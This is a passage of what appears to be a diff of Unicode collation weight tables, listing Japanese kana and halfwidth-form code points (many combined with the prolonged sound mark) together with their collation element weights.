[.3D62.0020.000F][.3D62.0020.0010.0002][.0000.0037.0002] # -31F1 30FD ; [.3D66.0020.000F][.3D66.0020.0010.0002] # -31F1 30FE ; [.3D66.0020.000F][.3D66.0020.0010.0002][.0000.0037.0002] # -31F2 30FD ; [.3D67.0020.000F][.3D67.0020.0010.0002] # -31F2 30FE ; [.3D67.0020.000F][.3D67.0020.0010.0002][.0000.0037.0002] # -31F3 30FD ; [.3D6E.0020.000F][.3D6E.0020.0010.0002] # -31F3 30FE ; [.3D6E.0020.000F][.3D6E.0020.0010.0002][.0000.0037.0002] # -31F4 30FD ; [.3D71.0020.000F][.3D71.0020.0010.0002] # -31F5 30FD ; [.3D74.0020.000F][.3D74.0020.0010.0002] # -31F5 30FE ; [.3D74.0020.000F][.3D74.0020.0010.0002][.0000.0037.0002] # -31F6 30FD ; [.3D75.0020.000F][.3D75.0020.0010.0002] # -31F6 30FE ; [.3D75.0020.000F][.3D75.0020.0010.0002][.0000.0037.0002] # -31F7 30FD ; [.3D76.0020.000F][.3D76.0020.0010.0002] # -31F7 30FE ; [.3D76.0020.000F][.3D76.0020.0010.0002][.0000.0037.0002] # -31F8 30FD ; [.3D77.0020.000F][.3D77.0020.0010.0002] # -31F8 30FE ; [.3D77.0020.000F][.3D77.0020.0010.0002][.0000.0037.0002] # -31F9 30FD ; [.3D78.0020.000F][.3D78.0020.0010.0002] # -31F9 30FE ; [.3D78.0020.000F][.3D78.0020.0010.0002][.0000.0037.0002] # -31FA 30FD ; [.3D7B.0020.000F][.3D7B.0020.0010.0002] # -31FB 30FD ; [.3D82.0020.000F][.3D82.0020.0010.0002] # -31FC 30FD ; [.3D83.0020.000F][.3D83.0020.0010.0002] # -31FD 30FD ; [.3D84.0020.000F][.3D84.0020.0010.0002] # -31FE 30FD ; [.3D85.0020.000F][.3D85.0020.0010.0002] # -31FF 30FD ; [.3D86.0020.000F][.3D86.0020.0010.0002] # +FFE4 ; [*05FF.0020.0002] # FULLWIDTH BROKEN BAR +FFE5 ; [.1B8F.0020.0002] # FULLWIDTH YEN SIGN +FFE6 ; [.1BA2.0020.0002] # FULLWIDTH WON SIGN +FFE8 ; [*07F6.0020.0002] # HALFWIDTH FORMS LIGHT VERTICAL +FFE9 ; [*057C.0020.0002] # HALFWIDTH LEFTWARDS ARROW +FFEA ; [*057E.0020.0002] # HALFWIDTH UPWARDS ARROW +FFEB ; [*057D.0020.0002] # HALFWIDTH RIGHTWARDS ARROW +FFEC ; [*057F.0020.0002] # HALFWIDTH DOWNWARDS ARROW +FFED ; [*0894.0020.0002] # HALFWIDTH BLACK SQUARE +FFEE ; [*08BF.0020.0002] # HALFWIDTH WHITE CIRCLE +30A1 30FC ; [.3BC3.0020.000F.0002][.3BC3.0020.0007.0002] # +FF67 30FC ; [.3BC3.0020.000F.0002][.3BC3.0020.0007.0002] # +FF67 FF70 ; [.3BC3.0020.000F.0002][.3BC3.0020.0007.0002] # +3041 30FC ; [.3BC3.0020.000F.0001][.3BC3.0020.0007.0002] # +30A2 30FC ; [.3BC3.0020.0011.0002][.3BC3.0020.0007.0002] # +FF71 30FC ; [.3BC3.0020.0011.0002][.3BC3.0020.0007.0002] # +FF71 FF70 ; [.3BC3.0020.0011.0002][.3BC3.0020.0007.0002] # +3042 30FC ; [.3BC3.0020.0011.0001][.3BC3.0020.0007.0002] # +30AB 30FC ; [.3BC9.0020.0011.0002][.3BC3.0020.0007.0002] # +FF76 30FC ; [.3BC9.0020.0011.0002][.3BC3.0020.0007.0002] # +FF76 FF70 ; [.3BC9.0020.0011.0002][.3BC3.0020.0007.0002] # +304B 30FC ; [.3BC9.0020.0011.0001][.3BC3.0020.0007.0002] # +30AC 30FC ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +30AB 3099 30FC ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF76 FF9E 30FC ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF76 FF9E FF70 ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +304C 30FC ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # +304B 3099 30FC ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # +30B5 30FC ; [.3BCE.0020.0011.0002][.3BC3.0020.0007.0002] # +FF7B 30FC ; [.3BCE.0020.0011.0002][.3BC3.0020.0007.0002] # +FF7B FF70 ; [.3BCE.0020.0011.0002][.3BC3.0020.0007.0002] # +3055 30FC ; [.3BCE.0020.0011.0001][.3BC3.0020.0007.0002] # +30B6 30FC ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +30B5 3099 30FC ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF7B FF9E 30FC ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF7B FF9E FF70 ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +3056 30FC ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # +3055 3099 30FC ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # +30BF 30FC ; [.3BD3.0020.0011.0002][.3BC3.0020.0007.0002] # +FF80 30FC ; [.3BD3.0020.0011.0002][.3BC3.0020.0007.0002] # +FF80 FF70 ; [.3BD3.0020.0011.0002][.3BC3.0020.0007.0002] # +305F 30FC ; [.3BD3.0020.0011.0001][.3BC3.0020.0007.0002] # +30C0 30FC ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +30BF 3099 30FC ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF80 FF9E 30FC ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF80 FF9E FF70 ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +3060 30FC ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # +305F 3099 30FC ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # +30CA 30FC ; [.3BD8.0020.0011.0002][.3BC3.0020.0007.0002] # +FF85 30FC ; [.3BD8.0020.0011.0002][.3BC3.0020.0007.0002] # +FF85 FF70 ; [.3BD8.0020.0011.0002][.3BC3.0020.0007.0002] # +306A 30FC ; [.3BD8.0020.0011.0001][.3BC3.0020.0007.0002] # +30CF 30FC ; [.3BDD.0020.0011.0002][.3BC3.0020.0007.0002] # +FF8A 30FC ; [.3BDD.0020.0011.0002][.3BC3.0020.0007.0002] # +FF8A FF70 ; [.3BDD.0020.0011.0002][.3BC3.0020.0007.0002] # +306F 30FC ; [.3BDD.0020.0011.0001][.3BC3.0020.0007.0002] # +30D0 30FC ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +30CF 3099 30FC ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF8A FF9E 30FC ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF8A FF9E FF70 ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +3070 30FC ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # +306F 3099 30FC ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # +30D1 30FC ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BC3.0020.0007.0002] # +30CF 309A 30FC ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BC3.0020.0007.0002] # +FF8A FF9F 30FC ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BC3.0020.0007.0002] # +FF8A FF9F FF70 ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BC3.0020.0007.0002] # +3071 30FC ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BC3.0020.0007.0002] # +306F 309A 30FC ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BC3.0020.0007.0002] # +30DE 30FC ; [.3BE2.0020.0011.0002][.3BC3.0020.0007.0002] # +FF8F 30FC ; [.3BE2.0020.0011.0002][.3BC3.0020.0007.0002] # +FF8F FF70 ; [.3BE2.0020.0011.0002][.3BC3.0020.0007.0002] # +307E 30FC ; [.3BE2.0020.0011.0001][.3BC3.0020.0007.0002] # +30E3 30FC ; [.3BE7.0020.000F.0002][.3BC3.0020.0007.0002] # +FF6C 30FC ; [.3BE7.0020.000F.0002][.3BC3.0020.0007.0002] # +FF6C FF70 ; [.3BE7.0020.000F.0002][.3BC3.0020.0007.0002] # +3083 30FC ; [.3BE7.0020.000F.0001][.3BC3.0020.0007.0002] # +30E4 30FC ; [.3BE7.0020.0011.0002][.3BC3.0020.0007.0002] # +FF94 30FC ; [.3BE7.0020.0011.0002][.3BC3.0020.0007.0002] # +FF94 FF70 ; [.3BE7.0020.0011.0002][.3BC3.0020.0007.0002] # +3084 30FC ; [.3BE7.0020.0011.0001][.3BC3.0020.0007.0002] # +30E9 30FC ; [.3BEB.0020.0011.0002][.3BC3.0020.0007.0002] # +FF97 30FC ; [.3BEB.0020.0011.0002][.3BC3.0020.0007.0002] # +FF97 FF70 ; [.3BEB.0020.0011.0002][.3BC3.0020.0007.0002] # +3089 30FC ; [.3BEB.0020.0011.0001][.3BC3.0020.0007.0002] # +30EE 30FC ; [.3BF0.0020.000F.0002][.3BC3.0020.0007.0002] # +308E 30FC ; [.3BF0.0020.000F.0001][.3BC3.0020.0007.0002] # +30EF 30FC ; [.3BF0.0020.0011.0002][.3BC3.0020.0007.0002] # +FF9C 30FC ; [.3BF0.0020.0011.0002][.3BC3.0020.0007.0002] # +FF9C FF70 ; [.3BF0.0020.0011.0002][.3BC3.0020.0007.0002] # +308F 30FC ; [.3BF0.0020.0011.0001][.3BC3.0020.0007.0002] # +30F7 30FC ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +30EF 3099 30FC ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF9C FF9E 30FC ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +FF9C FF9E FF70 ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # +30F5 30FC ; [.3BC9.0020.000F.0002][.3BC3.0020.0007.0002] # +3095 30FC ; [.3BC9.0020.000F.0001][.3BC3.0020.0007.0002] # +31F5 30FC ; [.3BDD.0020.000F][.3BC3.0020.0007.0002] # +31FB 30FC ; [.3BEB.0020.000F][.3BC3.0020.0007.0002] # +30A3 30FC ; [.3BC4.0020.000F.0002][.3BC4.0020.0007.0002] # +FF68 30FC ; [.3BC4.0020.000F.0002][.3BC4.0020.0007.0002] # +FF68 FF70 ; [.3BC4.0020.000F.0002][.3BC4.0020.0007.0002] # +3043 30FC ; [.3BC4.0020.000F.0001][.3BC4.0020.0007.0002] # +30A4 30FC ; [.3BC4.0020.0011.0002][.3BC4.0020.0007.0002] # +FF72 30FC ; [.3BC4.0020.0011.0002][.3BC4.0020.0007.0002] # +FF72 FF70 ; [.3BC4.0020.0011.0002][.3BC4.0020.0007.0002] # +3044 30FC ; [.3BC4.0020.0011.0001][.3BC4.0020.0007.0002] # +30AD 30FC ; [.3BCA.0020.0011.0002][.3BC4.0020.0007.0002] # +FF77 30FC ; [.3BCA.0020.0011.0002][.3BC4.0020.0007.0002] # +FF77 FF70 ; [.3BCA.0020.0011.0002][.3BC4.0020.0007.0002] # +304D 30FC ; [.3BCA.0020.0011.0001][.3BC4.0020.0007.0002] # +30AE 30FC ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +30AD 3099 30FC ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +FF77 FF9E 30FC ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +FF77 FF9E FF70 ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +304E 30FC ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # +304D 3099 30FC ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # +30B7 30FC ; [.3BCF.0020.0011.0002][.3BC4.0020.0007.0002] # +FF7C 30FC ; [.3BCF.0020.0011.0002][.3BC4.0020.0007.0002] # +FF7C FF70 ; [.3BCF.0020.0011.0002][.3BC4.0020.0007.0002] # +3057 30FC ; [.3BCF.0020.0011.0001][.3BC4.0020.0007.0002] # +30B8 30FC ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +30B7 3099 30FC ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +FF7C FF9E 30FC ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +FF7C FF9E FF70 ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +3058 30FC ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # +3057 3099 30FC ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # +30C1 30FC ; [.3BD4.0020.0011.0002][.3BC4.0020.0007.0002] # +FF81 30FC ; [.3BD4.0020.0011.0002][.3BC4.0020.0007.0002] # +FF81 FF70 ; [.3BD4.0020.0011.0002][.3BC4.0020.0007.0002] # +3061 30FC ; [.3BD4.0020.0011.0001][.3BC4.0020.0007.0002] # +30C2 30FC ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +30C1 3099 30FC ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +FF81 FF9E 30FC ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +FF81 FF9E FF70 ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +3062 30FC ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # +3061 3099 30FC ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # +30CB 30FC ; [.3BD9.0020.0011.0002][.3BC4.0020.0007.0002] # +FF86 30FC ; [.3BD9.0020.0011.0002][.3BC4.0020.0007.0002] # +FF86 FF70 ; [.3BD9.0020.0011.0002][.3BC4.0020.0007.0002] # +306B 30FC ; [.3BD9.0020.0011.0001][.3BC4.0020.0007.0002] # +30D2 30FC ; [.3BDE.0020.0011.0002][.3BC4.0020.0007.0002] # +FF8B 30FC ; [.3BDE.0020.0011.0002][.3BC4.0020.0007.0002] # +FF8B FF70 ; [.3BDE.0020.0011.0002][.3BC4.0020.0007.0002] # +3072 30FC ; [.3BDE.0020.0011.0001][.3BC4.0020.0007.0002] # +30D3 30FC ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +30D2 3099 30FC ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +FF8B FF9E 30FC ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +FF8B FF9E FF70 ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +3073 30FC ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # +3072 3099 30FC ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # +30D4 30FC ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BC4.0020.0007.0002] # +30D2 309A 30FC ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BC4.0020.0007.0002] # +FF8B FF9F 30FC ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BC4.0020.0007.0002] # +FF8B FF9F FF70 ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BC4.0020.0007.0002] # +3074 30FC ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BC4.0020.0007.0002] # +3072 309A 30FC ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BC4.0020.0007.0002] # +30DF 30FC ; [.3BE3.0020.0011.0002][.3BC4.0020.0007.0002] # +FF90 30FC ; [.3BE3.0020.0011.0002][.3BC4.0020.0007.0002] # +FF90 FF70 ; [.3BE3.0020.0011.0002][.3BC4.0020.0007.0002] # +307F 30FC ; [.3BE3.0020.0011.0001][.3BC4.0020.0007.0002] # +30EA 30FC ; [.3BEC.0020.0011.0002][.3BC4.0020.0007.0002] # +FF98 30FC ; [.3BEC.0020.0011.0002][.3BC4.0020.0007.0002] # +FF98 FF70 ; [.3BEC.0020.0011.0002][.3BC4.0020.0007.0002] # +308A 30FC ; [.3BEC.0020.0011.0001][.3BC4.0020.0007.0002] # +30F0 30FC ; [.3BF1.0020.0011.0002][.3BC4.0020.0007.0002] # +3090 30FC ; [.3BF1.0020.0011.0001][.3BC4.0020.0007.0002] # +30F8 30FC ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +30F0 3099 30FC ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # +31F1 30FC ; [.3BCF.0020.000F][.3BC4.0020.0007.0002] # +31F6 30FC ; [.3BDE.0020.000F][.3BC4.0020.0007.0002] # +31FC 30FC ; [.3BEC.0020.000F][.3BC4.0020.0007.0002] # +30A5 30FC ; [.3BC5.0020.000F.0002][.3BC5.0020.0007.0002] # +FF69 30FC ; [.3BC5.0020.000F.0002][.3BC5.0020.0007.0002] # +FF69 FF70 ; [.3BC5.0020.000F.0002][.3BC5.0020.0007.0002] # +3045 30FC ; [.3BC5.0020.000F.0001][.3BC5.0020.0007.0002] # +30A6 30FC ; [.3BC5.0020.0011.0002][.3BC5.0020.0007.0002] # +FF73 30FC ; [.3BC5.0020.0011.0002][.3BC5.0020.0007.0002] # +FF73 FF70 ; [.3BC5.0020.0011.0002][.3BC5.0020.0007.0002] # +3046 30FC ; [.3BC5.0020.0011.0001][.3BC5.0020.0007.0002] # +30AF 30FC ; [.3BCB.0020.0011.0002][.3BC5.0020.0007.0002] # +FF78 30FC ; [.3BCB.0020.0011.0002][.3BC5.0020.0007.0002] # +FF78 FF70 ; [.3BCB.0020.0011.0002][.3BC5.0020.0007.0002] # +304F 30FC ; [.3BCB.0020.0011.0001][.3BC5.0020.0007.0002] # +30B0 30FC ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +30AF 3099 30FC ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF78 FF9E 30FC ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF78 FF9E FF70 ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +3050 30FC ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +304F 3099 30FC ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +30B9 30FC ; [.3BD0.0020.0011.0002][.3BC5.0020.0007.0002] # +FF7D 30FC ; [.3BD0.0020.0011.0002][.3BC5.0020.0007.0002] # +FF7D FF70 ; [.3BD0.0020.0011.0002][.3BC5.0020.0007.0002] # +3059 30FC ; [.3BD0.0020.0011.0001][.3BC5.0020.0007.0002] # +30BA 30FC ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +30B9 3099 30FC ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF7D FF9E 30FC ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF7D FF9E FF70 ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +305A 30FC ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +3059 3099 30FC ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +30C3 30FC ; [.3BD5.0020.000F.0002][.3BC5.0020.0007.0002] # +FF6F 30FC ; [.3BD5.0020.000F.0002][.3BC5.0020.0007.0002] # +FF6F FF70 ; [.3BD5.0020.000F.0002][.3BC5.0020.0007.0002] # +3063 30FC ; [.3BD5.0020.000F.0001][.3BC5.0020.0007.0002] # +30C4 30FC ; [.3BD5.0020.0011.0002][.3BC5.0020.0007.0002] # +FF82 30FC ; [.3BD5.0020.0011.0002][.3BC5.0020.0007.0002] # +FF82 FF70 ; [.3BD5.0020.0011.0002][.3BC5.0020.0007.0002] # +3064 30FC ; [.3BD5.0020.0011.0001][.3BC5.0020.0007.0002] # +30C5 30FC ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +30C4 3099 30FC ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF82 FF9E 30FC ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF82 FF9E FF70 ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +3065 30FC ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +3064 3099 30FC ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +30CC 30FC ; [.3BDA.0020.0011.0002][.3BC5.0020.0007.0002] # +FF87 30FC ; [.3BDA.0020.0011.0002][.3BC5.0020.0007.0002] # +FF87 FF70 ; [.3BDA.0020.0011.0002][.3BC5.0020.0007.0002] # +306C 30FC ; [.3BDA.0020.0011.0001][.3BC5.0020.0007.0002] # +30D5 30FC ; [.3BDF.0020.0011.0002][.3BC5.0020.0007.0002] # +FF8C 30FC ; [.3BDF.0020.0011.0002][.3BC5.0020.0007.0002] # +FF8C FF70 ; [.3BDF.0020.0011.0002][.3BC5.0020.0007.0002] # +3075 30FC ; [.3BDF.0020.0011.0001][.3BC5.0020.0007.0002] # +30D6 30FC ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +30D5 3099 30FC ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF8C FF9E 30FC ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF8C FF9E FF70 ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +3076 30FC ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +3075 3099 30FC ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +30D7 30FC ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BC5.0020.0007.0002] # +30D5 309A 30FC ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BC5.0020.0007.0002] # +FF8C FF9F 30FC ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BC5.0020.0007.0002] # +FF8C FF9F FF70 ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BC5.0020.0007.0002] # +3077 30FC ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BC5.0020.0007.0002] # +3075 309A 30FC ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BC5.0020.0007.0002] # +30E0 30FC ; [.3BE4.0020.0011.0002][.3BC5.0020.0007.0002] # +FF91 30FC ; [.3BE4.0020.0011.0002][.3BC5.0020.0007.0002] # +FF91 FF70 ; [.3BE4.0020.0011.0002][.3BC5.0020.0007.0002] # +3080 30FC ; [.3BE4.0020.0011.0001][.3BC5.0020.0007.0002] # +30E5 30FC ; [.3BE8.0020.000F.0002][.3BC5.0020.0007.0002] # +FF6D 30FC ; [.3BE8.0020.000F.0002][.3BC5.0020.0007.0002] # +FF6D FF70 ; [.3BE8.0020.000F.0002][.3BC5.0020.0007.0002] # +3085 30FC ; [.3BE8.0020.000F.0001][.3BC5.0020.0007.0002] # +30E6 30FC ; [.3BE8.0020.0011.0002][.3BC5.0020.0007.0002] # +FF95 30FC ; [.3BE8.0020.0011.0002][.3BC5.0020.0007.0002] # +FF95 FF70 ; [.3BE8.0020.0011.0002][.3BC5.0020.0007.0002] # +3086 30FC ; [.3BE8.0020.0011.0001][.3BC5.0020.0007.0002] # +30EB 30FC ; [.3BED.0020.0011.0002][.3BC5.0020.0007.0002] # +FF99 30FC ; [.3BED.0020.0011.0002][.3BC5.0020.0007.0002] # +FF99 FF70 ; [.3BED.0020.0011.0002][.3BC5.0020.0007.0002] # +308B 30FC ; [.3BED.0020.0011.0001][.3BC5.0020.0007.0002] # +30F4 30FC ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +30A6 3099 30FC ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF73 FF9E 30FC ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +FF73 FF9E FF70 ; [.3BC5.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # +3094 30FC ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +3046 3099 30FC ; [.3BC5.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # +31F0 30FC ; [.3BCB.0020.000F][.3BC5.0020.0007.0002] # +31F2 30FC ; [.3BD0.0020.000F][.3BC5.0020.0007.0002] # +31F4 30FC ; [.3BDA.0020.000F][.3BC5.0020.0007.0002] # +31F7 30FC ; [.3BDF.0020.000F][.3BC5.0020.0007.0002] # +31FA 30FC ; [.3BE4.0020.000F][.3BC5.0020.0007.0002] # +31FD 30FC ; [.3BED.0020.000F][.3BC5.0020.0007.0002] # +30A7 30FC ; [.3BC7.0020.000F.0002][.3BC7.0020.0007.0002] # +FF6A 30FC ; [.3BC7.0020.000F.0002][.3BC7.0020.0007.0002] # +FF6A FF70 ; [.3BC7.0020.000F.0002][.3BC7.0020.0007.0002] # +3047 30FC ; [.3BC7.0020.000F.0001][.3BC7.0020.0007.0002] # +30A8 30FC ; [.3BC7.0020.0011.0002][.3BC7.0020.0007.0002] # +FF74 30FC ; [.3BC7.0020.0011.0002][.3BC7.0020.0007.0002] # +FF74 FF70 ; [.3BC7.0020.0011.0002][.3BC7.0020.0007.0002] # +3048 30FC ; [.3BC7.0020.0011.0001][.3BC7.0020.0007.0002] # +30B1 30FC ; [.3BCC.0020.0011.0002][.3BC7.0020.0007.0002] # +FF79 30FC ; [.3BCC.0020.0011.0002][.3BC7.0020.0007.0002] # +FF79 FF70 ; [.3BCC.0020.0011.0002][.3BC7.0020.0007.0002] # +3051 30FC ; [.3BCC.0020.0011.0001][.3BC7.0020.0007.0002] # +30B2 30FC ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +30B1 3099 30FC ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +FF79 FF9E 30FC ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +FF79 FF9E FF70 ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +3052 30FC ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # +3051 3099 30FC ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # +30BB 30FC ; [.3BD1.0020.0011.0002][.3BC7.0020.0007.0002] # +FF7E 30FC ; [.3BD1.0020.0011.0002][.3BC7.0020.0007.0002] # +FF7E FF70 ; [.3BD1.0020.0011.0002][.3BC7.0020.0007.0002] # +305B 30FC ; [.3BD1.0020.0011.0001][.3BC7.0020.0007.0002] # +30BC 30FC ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +30BB 3099 30FC ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +FF7E FF9E 30FC ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +FF7E FF9E FF70 ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +305C 30FC ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # +305B 3099 30FC ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # +30C6 30FC ; [.3BD6.0020.0011.0002][.3BC7.0020.0007.0002] # +FF83 30FC ; [.3BD6.0020.0011.0002][.3BC7.0020.0007.0002] # +FF83 FF70 ; [.3BD6.0020.0011.0002][.3BC7.0020.0007.0002] # +3066 30FC ; [.3BD6.0020.0011.0001][.3BC7.0020.0007.0002] # +30C7 30FC ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +30C6 3099 30FC ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +FF83 FF9E 30FC ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +FF83 FF9E FF70 ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +3067 30FC ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # +3066 3099 30FC ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # +30CD 30FC ; [.3BDB.0020.0011.0002][.3BC7.0020.0007.0002] # +FF88 30FC 